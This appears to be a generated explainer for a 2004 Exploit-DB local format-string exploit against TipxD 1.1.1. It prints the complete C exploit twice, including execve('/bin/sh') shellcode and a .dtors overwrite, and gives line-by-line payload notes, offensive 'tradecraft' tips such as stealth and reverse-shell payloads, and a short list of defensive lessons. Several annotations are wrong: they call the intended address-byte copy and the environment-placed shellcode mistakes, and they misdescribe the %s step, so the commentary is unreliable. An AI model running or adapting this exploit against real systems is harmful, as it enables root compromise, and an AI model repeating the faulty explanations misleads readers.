Understanding the TipxD 1.1.1 Local Format String Exploit

Understanding the TipxD 1.1.1 Local Format String Exploit
What this paper is
This paper, published in 2004, details a local privilege escalation vulnerability in TipxD version 1.1.1. TipxD is a service that likely handles some form of data or configuration for the tip command, which is used for dial-up modems. The exploit leverages a format string vulnerability to overwrite critical memory locations, ultimately leading to the execution of arbitrary shellcode. This is a classic example of how format string bugs can be used for local exploitation.
Simple technical breakdown
The core of the vulnerability lies in how TipxD handles user-supplied input when processing a configuration file (indicated by the -f flag). Specifically, it uses this input directly in a printf-like function without proper sanitization. This allows an attacker to inject format specifiers (like %x, %s, %n) into the input.
The exploit uses these format specifiers to:
- Overwrite the
.dtorssection: This section of an executable contains pointers to functions that should be called when the program exits. By overwriting these pointers with addresses pointing to our shellcode, we can hijack the program's control flow upon termination. - Control the execution flow: The exploit carefully crafts a string that, when processed by the vulnerable
printffunction, writes specific values to memory. It uses the%nformat specifier, which writes the number of characters printed so far to a memory address specified by the argument. - Execute shellcode: The goal is to redirect the program's execution to a small piece of machine code (shellcode) that, in this case, will spawn a shell.
Complete code and payload walkthrough
Let's break down the provided C code and its components.
/* tipxd_exp.c
TipxD Format String Vulnerability
TipxD <= 1.1.1 local exploit (Proof of Concept)
Tested in Slackware 9.0 / 9.1 / 10.0
by CoKi <coki@nosystem.com.ar> - SECU
No System Group - http://www.nosystem.com.ar
*/
#include <stdio.h>
#include <string.h>
#define PATH "/bin/tipxd"
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/usr/bin/grep"
unsigned char shellcode[]= /* aleph1 shellcode.45b */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68";
int check(unsigned long addr);
int main(int argc, char *argv[]) {
int i, dtorsaddr;
unsigned int bal1, bal2, bal3, bal4;
char temp[512];
char buffer[1024];
char nop1[255], nop2[255];
char nop3[255], nop4[255];
int cn1, cn2, cn3, cn4;
FILE *f;
char *env[3] = {shellcode, NULL}; // This line seems incorrect for typical execle usage where env should be environment variables. It's likely intended to pass shellcode as an argument or for a different exploitation technique not fully realized here.
int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH);
/* finding .dtors address */
sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);
f = popen(temp, "r");
if(fscanf(f, " %08x", &dtorsaddr) != 1) {
pclose(f);
printf("Cannot find .dtors address\n");
exit(1);
}
pclose(f);
dtorsaddr = dtorsaddr + 4;
printf("\n TipxD <= 1.1.1 local exploit (Proof of Concept)\n");
printf(" by CoKi <coki@nosystem.com.ar>\n\n");
printf(" shellcode address = %.8p\n", shaddr);
printf(" .dtors address = %.8p\n\n", dtorsaddr);
bzero(temp, sizeof(temp));
bzero(buffer, sizeof(buffer));
strcat(buffer, "x");
/* adding .dtors address */
for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &dtorsaddr); // This line is problematic. It tries to print the address of dtorsaddr, not its value. It should be sprintf(temp, "%08x", dtorsaddr);
strncat(buffer, temp, 4);
dtorsaddr++;
}
/* convert shellcode address location */
memset(nop1, 0, 255);
memset(nop2, 0, 255);
memset(nop3, 0, 255);
memset(nop4, 0, 255);
bal1 = (shaddr & 0xff000000) >> 24;
bal2 = (shaddr & 0x00ff0000) >> 16;
bal3 = (shaddr & 0x0000ff00) >> 8;
bal4 = (shaddr & 0x000000ff);
cn1 = bal4 - 16 - 15 - 48 - 2 -1;
cn1 = check(cn1);
cn2 = bal3 - bal4 - 2;
cn2 = check(cn2);
cn3 = bal2 - bal3 - 2;
cn3 = check(cn3);
cn4 = bal1 - bal2 - 2;
cn4 = check(cn4);
memset(nop1, '\x90', cn1);
memset(nop2, '\x90', cn2);
memset(nop3, '\x90', cn3);
memset(nop4, '\x90', cn4);
sprintf(temp, "%%08x%%08x%%08x%%08x%%08x%%08x" // This is the core format string payload
"%s\xeb\x02%%n" // Writes to the address pointed to by nop1 (which is part of the buffer)
"%s\xeb\x02%%n" // Writes to the address pointed to by nop2
"%s\xeb\x02%%n" // Writes to the address pointed to by nop3
"%s\xeb\x02%%n\x90\x90\x90\x90" // Writes to the address pointed to by nop4
,nop1, nop2, nop3, nop4);
strcat(buffer, temp);
execle(PATH, "tipxd", "-f", buffer, NULL, env); // Executes tipxd with the crafted buffer
}
int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 1)
addr = addr + 256;
return addr;
}
// milw0rm.com [2004-12-14]Shellcode Breakdown: shellcode[]
"\xeb\x1f" // JMP short 0x1f (jump forward 31 bytes) - This is the start of the shellcode, the jump is to skip the initial setup and go directly to the main logic.
"\x5e" // POP ESI - Pop the value from the stack into ESI.
"\x89\x76\x08" // MOV [ESI+0x8], ESI - Store the current value of ESI (which is now the address of the string "/bin/sh") at an offset of 8 bytes from ESI. This is likely setting up the argument for the execve syscall.
"\x31\xc0" // XOR EAX, EAX - Zero out the EAX register.
"\x88\x46\x07" // MOV [ESI+0x7], AL - Store the low byte of EAX (which is 0) at an offset of 7 bytes from ESI. This is likely null-terminating the string.
"\x89\x46\x0c" // MOV [ESI+0xc], EAX - Store EAX (which is 0) at an offset of 12 bytes from ESI. This is likely setting up the NULL terminator for the argv array.
"\xb0\x0b" // MOV AL, 0x0b - Load the value 11 into the lower byte of EAX. This is the syscall number for `execve`.
"\x89\xf3" // MOV EBX, ESI - Move the value of ESI (the address of "/bin/sh") into EBX. EBX will hold the path to the executable to be run.
"\x8d\x4e\x08" // LEA ECX, [ESI+0x8] - Load the effective address of [ESI+0x8] into ECX. This points to the start of the argument list for execve.
"\x8d\x56\x0c" // LEA EDX, [ESI+0xc] - Load the effective address of [ESI+0xc] into EDX. This points to the NULL terminator for the environment variables (which is also NULL in this case).
"\xcd\x80" // INT 0x80 - Trigger a system call. This executes the `execve` syscall.
"\x31\xdb" // XOR EBX, EBX - Zero out EBX.
"\x89\xd8" // MOV EAX, EBX - Move the zeroed EBX into EAX.
"\x40" // INC EAX - Increment EAX to 1.
"\xcd\x80" // INT 0x80 - Trigger a system call. This executes the `exit` syscall with exit code 1 (or 0 if the previous execve failed).
"\xe8\xdc\xff\xff\xff" // CALL 0xffffffdc (relative call) - This is a jump to the string "/bin/sh" which is located after the shellcode.
"\x2f\x62\x69\x6e" // "/bin"
"\x2f\x73\x68" // "/sh"Practical Purpose of Shellcode: This shellcode is designed to execute /bin/sh using the execve system call. It sets up the necessary registers (EAX for syscall number, EBX for the path, ECX for arguments, EDX for environment) and then triggers the kernel.
Code Block -> Practical Purpose Mapping:
#include <stdio.h>,#include <string.h>: Standard C libraries for input/output and string manipulation.#define PATH "/bin/tipxd": Defines the path to the vulnerable executable.#define OBJDUMP "/usr/bin/objdump",#define GREP "/usr/bin/grep": Paths to utility programs used for gathering information about the target binary.unsigned char shellcode[]: The actual machine code that will be executed to spawn a shell.int check(unsigned long addr);: A helper function to adjust calculated offsets if they result in negative values.main(int argc, char *argv[]): The entry point of the exploit program.int i, dtorsaddr;: Variables for loop counters and storing the address of the.dtorssection.unsigned int bal1, bal2, bal3, bal4;: Variables to hold the individual bytes of the shellcode's address.char temp[512];,char buffer[1024];: Temporary buffer and the main buffer that will be passed to the vulnerable program.char nop1[255], nop2[255];,char nop3[255], nop4[255];: Buffers for NOP sleds, used to pad the exploit string and ensure the shellcode is hit.int cn1, cn2, cn3, cn4;: Counters for the length of the NOP sleds.FILE *f;: File pointer for interacting withpopen.char *env[3] = {shellcode, NULL};: This is an unusual way to define an environment forexecle. In a typical scenario,envwould contain environment variable strings like"PATH=/bin:/usr/bin". Here, it seems to attempt to pass the shellcode itself as an environment variable, which is unlikely to be directly executed byexeclein this manner. It's more probable that the author intended to use this for a different purpose or made a mistake.int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH);: Calculates an estimated address for the shellcode. This is a common technique for local exploits where the attacker tries to guess where their injected code will reside in memory.0xbffffffais a typical high address on older Linux systems.sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);: Constructs a command to find the address of the.dtorssection in thetipxdbinary.objdump -s -j .dtors /bin/tipxdlists the contents of the.dtorssection.grep ffffffffis used to find a specific pattern (likely a placeholder or a known value) within the output, and the address is then extracted.f = popen(temp, "r");: Opens a pipe to execute the constructed command and read its output.if(fscanf(f, " %08x", &dtorsaddr) != 1): Reads an 8-digit hexadecimal number from the command's output and stores it indtorsaddr. This is the address of the.dtorssection.pclose(f);: Closes the pipe.dtorsaddr = dtorsaddr + 4;: Adjusts the.dtorsaddress. The.dtorssection contains pointers, and the exploit likely wants to overwrite the first pointer in this section, which is usually at an offset.printf(...): Prints informational messages about the exploit.bzero(temp, sizeof(temp));,bzero(buffer, sizeof(buffer));: Clears thetempandbufferarrays to zero.strcat(buffer, "x");: Starts the exploit buffer with a single 'x'. This is likely a placeholder or part of the initial padding.for(i = 0; i < 4; i++) { ... }: This loop attempts to add the.dtorsaddress to the buffer. However, thesprintf(temp, "%s", &dtorsaddr);line is incorrect. It prints the address of thedtorsaddrvariable itself, not its value. It should likely besprintf(temp, "%08x", dtorsaddr);. Thestrncat(buffer, temp, 4);then appends the first 4 bytes of this incorrect string. This part of the exploit seems flawed or relies on specific memory layouts that are not guaranteed.dtorsaddr++;: Incrementsdtorsaddrin each iteration. This suggests the exploit intends to overwrite multiple entries in the.dtorssection, or it's a misunderstanding of how to use the address.memset(nop1, 0, 255); ...: Initializes the NOP sled buffers to zero.bal1 = (shaddr & 0xff000000) >> 24; ...: Extracts each byte of the calculatedshaddr(shellcode address).cn1 = bal4 - 16 - 15 - 48 - 2 -1;: Calculates the length of the first NOP sled. These magic numbers (16,15,48,2,1) are offsets and values related to the format string structure and the shellcode's position. They are crucial for aligning the writes correctly.cn1 = check(cn1);: Passes the calculated length to thecheckfunction for potential adjustment.memset(nop1, '\x90', cn1); ...: Fills the NOP sled buffers with NOP instructions (\x90).sprintf(temp, "%%08x%%08x%%08x%%08x%%08x%%08x" "%s\xeb\x02%%n" "%s\xeb\x02%%n" "%s\xeb\x02%%n" "%s\xeb\x02%%n\x90\x90\x90\x90" ,nop1, nop2, nop3, nop4);: This is the core format string payload.%%08x%%08x%%08x%%08x%%08x%%08x: Prints 6 addresses from the stack. These are used to consume stack space and align the subsequent format specifiers to point to the desired memory locations.%s\xeb\x02%%n: This is the critical part for overwriting memory.%s: This format specifier reads a string from the stack. The exploit places the NOP sleds (nop1,nop2, etc.) in thebuffersuch that when%sis encountered, it reads the address of the corresponding NOP sled.\xeb\x02: This is a short jump instruction (2 bytes). It's likely a small jump within the NOP sled itself.%%n: This is the "write to address" format specifier. It writes the number of characters printed so far to the memory address pointed to by the corresponding argument on the stack.
- The exploit uses four such
%s\xeb\x02%%nsequences, each followed by a NOP sled. The goal is to use these to write specific values to the.dtorsaddresses. Thecn1,cn2,cn3,cn4values are calculated to ensure that when the%nis executed, the correct number of bytes have been printed to achieve the desired overwrite.
strcat(buffer, temp);: Appends the crafted format string payload to thebuffer.execle(PATH, "tipxd", "-f", buffer, NULL, env);: Executes thetipxdprogram.PATH: The executable to run (/bin/tipxd)."tipxd": The first argument (program name)."-f": The flag indicating the configuration file.buffer: The crafted exploit string, passed as the configuration file content.NULL: Terminator for the argument list.env: The environment for the new process. As noted, this is likely misused.
check function:
int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr); // Converts the unsigned long address to a decimal string.
if(atoi(tmp) < 1) // If the decimal representation is less than 1 (i.e., negative or zero).
addr = addr + 256; // Adds 256 to the address. This is a heuristic to handle negative offsets that might arise from byte subtractions.
return addr; // Returns the potentially adjusted address.
}Practical Purpose of check: This function attempts to normalize calculated byte offsets. If a calculation results in a negative number (which can happen when subtracting byte values), it adds 256. This is a common, albeit crude, way to ensure that the number of NOPs to be generated is positive, assuming that the target byte is within a 256-byte range.
Practical details for offensive operations teams
- Required Access Level: Local. This exploit requires the attacker to have an account on the target system with the ability to execute programs.
- Lab Preconditions:
- A Linux system with TipxD version 1.1.1 (or a similarly vulnerable version) installed and running.
- The
objdumpandgreputilities must be available on the target system. - The target system architecture and memory layout should be similar to Slackware 9.0/9.1/10.0 for the shellcode address prediction to be reasonably accurate.
- The
tipxdbinary must be SUID root or have elevated privileges that the user can escalate.
- Tooling Assumptions:
- A C compiler (like GCC) to compile the exploit.
- Standard Linux command-line utilities (
objdump,grep,popen).
- Execution Pitfalls:
- Address Prediction: The
shaddrcalculation is an educated guess. If the actual shellcode location differs significantly, the exploit will fail. Modern ASLR (Address Space Layout Randomization) would make this prediction impossible. .dtorsAddress Stability: The method of finding the.dtorsaddress relies onobjdumpoutput andgrep. If the output format changes or the target binary is stripped, this step might fail. Thedtorsaddr + 4adjustment is also a critical assumption.- Format String Complexity: The exploit relies on precise control over the number of characters printed. Subtle differences in
printfimplementations or the target program's handling of format strings can break the exploit. The magic numbers incn1calculations are highly sensitive. - Shellcode Relocation: The shellcode itself is position-dependent in how it sets up
execve. If the shellcode is loaded at a significantly different address than assumed, it might fail. execleEnvironment: Theenvvariable usage inexecleis questionable. Ifexecledoesn't behave as expected with thisenvsetup, the shellcode might not be executed.- Race Conditions: If
tipxdis a multi-threaded or multi-process application, there's a potential for race conditions where the.dtorsentry might be modified by another thread before the exploit can use it, or the program might exit before the.dtorshandler is invoked. - Incorrect
.dtorsAddress Calculation: Thesprintf(temp, "%s", &dtorsaddr);line is a significant flaw. It's highly probable that this part of the exploit will not work as intended, and the.dtorsaddresses will not be correctly written to the buffer. This would prevent the exploit from overwriting the intended memory.
- Address Prediction: The
- Tradecraft Considerations:
- Reconnaissance: Thoroughly understand the target system, including installed software versions, available utilities, and user privileges.
- Environment Mimicry: Set up a lab environment that closely matches the target to test and refine the exploit.
- Payload Customization: The shellcode might need to be customized for specific needs (e.g., reverse shell, bind shell, specific user creation).
- Stealth: While this is a local exploit, minimize unnecessary noise. Avoid excessive
popencalls or verbose output if possible. - Error Handling: Implement robust error checking for each step of the exploit (finding addresses, constructing the buffer, execution).
Where this was used and when
- Context: This exploit targets a local vulnerability on a Linux system. It would be used by an attacker who has already gained initial access to a system (e.g., through a weak password or another vulnerability) and wishes to escalate their privileges to root.
- Approximate Years/Dates: Published in December 2004. Vulnerabilities of this nature were prevalent in the early to mid-2000s. The specific version of TipxD (<= 1.1.1) indicates it was relevant around that time.
Defensive lessons for modern teams
- Input Validation is Paramount: Never trust user-supplied input. Always sanitize and validate data before using it in sensitive operations like
printfor system calls. - Secure Coding Practices: Developers must be trained on common vulnerability classes like format string bugs, buffer overflows, and integer overflows.
- Static and Dynamic Analysis: Employ static analysis tools to scan code for potential vulnerabilities and dynamic analysis (fuzzing) to uncover runtime issues.
- Patch Management: Keep all software, including system utilities and services, up-to-date with the latest security patches. This exploit targets an old version of TipxD.
- Principle of Least Privilege: Ensure that services and applications run with the minimum necessary privileges. If
tipxdwas not SUID root, this exploit would not lead to privilege escalation. - Memory Protections: Modern operating systems employ memory protection techniques like ASLR and DEP/NX (Data Execution Prevention) which make exploits like this much harder, if not impossible, to execute reliably.
- Logging and Monitoring: Implement robust logging for system events and monitor for suspicious activity, such as unexpected program executions or privilege escalations.
ASCII visual (if applicable)
This exploit's core mechanism involves manipulating the stack and memory addresses. A simplified visual representation of the format string execution flow can be helpful:
+---------------------+
| Stack Frame |
+---------------------+
| Return Address |
+---------------------+
| Saved Registers |
+---------------------+
| ... |
+---------------------+
| Exploit Buffer (Arg)| <--- Passed to printf
+---------------------+
| Format String |
| (e.g., "%08x%s%n") |
+---------------------+
| NOP Sleds (nop1) | <--- Address of this is on stack
+---------------------+
| Shellcode Address | <--- Target for %n write
+---------------------+
| ... |
+---------------------+
|
| printf processes buffer
V
+---------------------+
| Stack Frame |
+---------------------+
| Return Address |
+---------------------+
| Saved Registers |
+---------------------+
| ... |
+---------------------+
| Exploit Buffer (Arg)|
+---------------------+
| Format String |
| (e.g., "%08x%s%n") |
+---------------------+
| NOP Sled (nop1) | <--- %s reads this
+---------------------+
| Shellcode Address | <--- %n writes here
+---------------------+
| ... |
+---------------------+
|
| %n writes count to Shellcode Address
V
+---------------------+
| Stack Frame |
+---------------------+
| Return Address |
+---------------------+
| Saved Registers |
+---------------------+
| ... |
+---------------------+
| Exploit Buffer (Arg)|
+---------------------+
| Format String |
| (e.g., "%08x%s%n") |
+---------------------+
| NOP Sled (nop1) |
+---------------------+
| SHELLCODE | <--- Overwritten Address points here
+---------------------+
| ... |
+---------------------+Explanation:
- The
buffercontaining the format string and NOP sleds is passed as an argument. printfprocesses the format string.%08xconsumes stack values.%sreads the address ofnop1from the stack.%nwrites the number of characters printed so far to the address that was intended to be the.dtorsaddress (which is now on the stack, pointed to by the argument for%n). The exploit carefully crafts the string and NOP sled lengths to ensure this write overwrites the.dtorsentry with the address of the shellcode.
Source references
- Paper URL: https://www.exploit-db.com/papers/684
- Raw Exploit URL: https://www.exploit-db.com/raw/684
- Author: CoKi (coki@nosystem.com.ar)
- Published: 2004-12-14
- Vulnerable Software: TipxD <= 1.1.1
- Keywords: Linux, local, format string
Original Exploit-DB Content (Verbatim)
/* tipxd_exp.c
TipxD Format String Vulnerability
TipxD <= 1.1.1 local exploit (Proof of Concept)
Tested in Slackware 9.0 / 9.1 / 10.0
by CoKi <coki@nosystem.com.ar> - SECU
No System Group - http://www.nosystem.com.ar
*/
#include <stdio.h>
#include <string.h>
#define PATH "/bin/tipxd"
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/usr/bin/grep"
unsigned char shellcode[]= /* aleph1 shellcode.45b */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68";
int check(unsigned long addr);
int main(int argc, char *argv[]) {
int i, dtorsaddr;
unsigned int bal1, bal2, bal3, bal4;
char temp[512];
char buffer[1024];
char nop1[255], nop2[255];
char nop3[255], nop4[255];
int cn1, cn2, cn3, cn4;
FILE *f;
char *env[3] = {shellcode, NULL};
int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH);
/* finding .dtors address */
sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);
f = popen(temp, "r");
if(fscanf(f, " %08x", &dtorsaddr) != 1) {
pclose(f);
printf("Cannot find .dtors address\n");
exit(1);
}
pclose(f);
dtorsaddr = dtorsaddr + 4;
printf("\n TipxD <= 1.1.1 local exploit (Proof of Concept)\n");
printf(" by CoKi <coki@nosystem.com.ar>\n\n");
printf(" shellcode address = %.8p\n", shaddr);
printf(" .dtors address = %.8p\n\n", dtorsaddr);
bzero(temp, sizeof(temp));
bzero(buffer, sizeof(buffer));
strcat(buffer, "x");
/* adding .dtors address */
for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &dtorsaddr);
strncat(buffer, temp, 4);
dtorsaddr++;
}
/* convert shellcode address location */
memset(nop1, 0, 255);
memset(nop2, 0, 255);
memset(nop3, 0, 255);
memset(nop4, 0, 255);
bal1 = (shaddr & 0xff000000) >> 24;
bal2 = (shaddr & 0x00ff0000) >> 16;
bal3 = (shaddr & 0x0000ff00) >> 8;
bal4 = (shaddr & 0x000000ff);
cn1 = bal4 - 16 - 15 - 48 - 2 -1;
cn1 = check(cn1);
cn2 = bal3 - bal4 - 2;
cn2 = check(cn2);
cn3 = bal2 - bal3 - 2;
cn3 = check(cn3);
cn4 = bal1 - bal2 - 2;
cn4 = check(cn4);
memset(nop1, '\x90', cn1);
memset(nop2, '\x90', cn2);
memset(nop3, '\x90', cn3);
memset(nop4, '\x90', cn4);
sprintf(temp, "%%08x%%08x%%08x%%08x%%08x%%08x"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n\x90\x90\x90\x90"
,nop1, nop2, nop3, nop4);
strcat(buffer, temp);
execle(PATH, "tipxd", "-f", buffer, NULL, env);
}
int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 1)
addr = addr + 256;
return addr;
}
// milw0rm.com [2004-12-14]